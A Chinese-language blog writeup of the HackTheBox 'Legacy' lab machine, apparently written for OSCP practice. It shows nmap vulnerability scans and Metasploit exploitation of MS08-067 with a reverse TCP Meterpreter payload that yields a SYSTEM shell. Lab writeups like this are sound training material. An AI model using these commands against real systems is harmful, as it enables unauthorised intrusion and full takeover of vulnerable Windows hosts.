HackTheBox-Machines Legacy Writeup

kazma 成大資安社 創辦人/社長

從今天開始想要在考 OSCP 前刷一下 HackTheBox 中跟 OSCP 證照比較相關的機器:
https://github.com/rkhal101/Hack-the-Box-OSCP-Preparation
今天要打的是 Windows 的 legacy

nmap 掃一下

  • -sV 是服務版本偵測
  • --script=vuln 會針對已知漏洞進行檢查
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    └──╼ [★]$ nmap -sV --script=vuln 10.129.152.110
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-27 05:21 CDT
    Nmap scan report for 10.129.152.110
    Host is up (0.078s latency).
    Not shown: 997 closed tcp ports (reset)
    PORT STATE SERVICE VERSION
    135/tcp open msrpc Microsoft Windows RPC
    139/tcp open netbios-ssn Microsoft Windows netbios-ssn
    445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
    Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

    Host script results:
    |_smb-vuln-ms10-054: false
    | smb-vuln-ms17-010:
    | VULNERABLE:
    | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
    | State: VULNERABLE
    | IDs: CVE:CVE-2017-0143
    | Risk factor: HIGH
    | A critical remote code execution vulnerability exists in Microsoft SMBv1
    | servers (ms17-010).
    |
    | Disclosure date: 2017-03-14
    | References:
    | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
    | https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
    |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
    |_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
    |_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 23.14 seconds
    掃描結果是有三個服務開啟,其中有 smb-vuln-ms17-010 的漏洞,是一個 SMB 的 RCE 洞,我們可以用 msfconsole 扁他。
    結果一直遇到這個問題:
    Agents:0) exploit(windows/smb/ms17_010_psexec) >> exploit
    1
    2
    3
    4
    5

    [*] Started reverse TCP handler on 10.10.14.30:4444
    [*] 10.129.152.110:445 - Target OS: Windows 5.1
    [-] 10.129.152.110:445 - Unable to find accessible named pipe!
    ^[c[*] Exploit completed, but no session was created.1
    超怪,網路上看到有人用這個洞打進去,但是看到有些人是打 netbios 的洞,而且他們用 nmap 用一樣的指令有掃到 CVE-2008-4250 超怪。
    結果機器重開之後就有了???
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    └──╼ [★]$ nmap --script vuln 10.129.227.181
    Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-27 05:52 CDT
    Nmap scan report for 10.129.227.181
    Host is up (0.077s latency).
    Not shown: 997 closed tcp ports (reset)
    PORT STATE SERVICE
    135/tcp open msrpc
    139/tcp open netbios-ssn
    445/tcp open microsoft-ds

    Host script results:
    | smb-vuln-ms08-067:
    | VULNERABLE:
    | Microsoft Windows system vulnerable to remote code execution (MS08-067)
    | State: VULNERABLE
    | IDs: CVE:CVE-2008-4250
    | The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
    | Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
    | code via a crafted RPC request that triggers the overflow during path canonicalization.
    |
    | Disclosure date: 2008-10-23
    | References:
    | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
    |_ https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
    |_smb-vuln-ms10-054: false
    |_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
    |_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
    | smb-vuln-ms17-010:
    | VULNERABLE:
    | Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
    | State: VULNERABLE
    | IDs: CVE:CVE-2017-0143
    | Risk factor: HIGH
    | A critical remote code execution vulnerability exists in Microsoft SMBv1
    | servers (ms17-010).
    |
    | Disclosure date: 2017-03-14
    | References:
    | https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
    | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
    |_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

    Nmap done: 1 IP address (1 host up) scanned in 28.00 seconds
    超蠢結果機器重開就有了:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    └──╼ [★]$ msfconsole
    Metasploit tip: Use the edit command to open the currently active module
    in your editor

    , ,
    / \
    ((__---,,,---__))
    (_) O O (_)_________
    \ _ / |\
    o_o \ M S F | \
    \ _____ | *
    ||| WW|||
    ||| |||


    =[ metasploit v6.3.44-dev ]
    + -- --=[ 2376 exploits - 1232 auxiliary - 416 post ]
    + -- --=[ 1391 payloads - 46 encoders - 11 nops ]
    + -- --=[ 9 evasion ]

    Metasploit Documentation: https://docs.metasploit.com/

    [msf](Jobs:0 Agents:0) >> search CVE-2008-4250

    Matching Modules
    ================

    # Name Disclosure Date Rank Check Description
    - ---- --------------- ---- ----- -----------
    0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption


    Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

    [msf](Jobs:0 Agents:0) >> use 0
    [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
    [msf](Jobs:0 Agents:0) exploit(windows/smb/ms08_067_netapi) >> set lhost tun0
    lhost => tun0
    [msf](Jobs:0 Agents:0) exploit(windows/smb/ms08_067_netapi) >> set rhost 10.129.227.181
    rhost => 10.129.227.181
    [msf](Jobs:0 Agents:0) exploit(windows/smb/ms08_067_netapi) >> run

    [*] Started reverse TCP handler on 10.10.14.30:4444
    [*] 10.129.227.181:445 - Automatically detecting the target...
    [*] 10.129.227.181:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
    [*] 10.129.227.181:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
    [*] 10.129.227.181:445 - Attempting to trigger the vulnerability...
    [*] Sending stage (175686 bytes) to 10.129.227.181
    [*] Meterpreter session 1 opened (10.10.14.30:4444 -> 10.129.227.181:1039) at 2024-10-27 05:55:37 -0500

    (Meterpreter 1)(C:\WINDOWS\system32) > id
    [-] Unknown command: id
    (Meterpreter 1)(C:\WINDOWS\system32) > getuid
    Server username: NT AUTHORITY\SYSTEM

Pwned !!!

pwn

  • Title: HackTheBox-Machines Legacy Writeup
  • Author: kazma
  • Created at : 2024-10-27 17:38:00
  • Updated at : 2024-10-27 19:10:12
  • Link: https://kazma.tw/2024/10/27/HackTheBox-Machines-Legacy-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
HackTheBox-Machines Legacy Writeup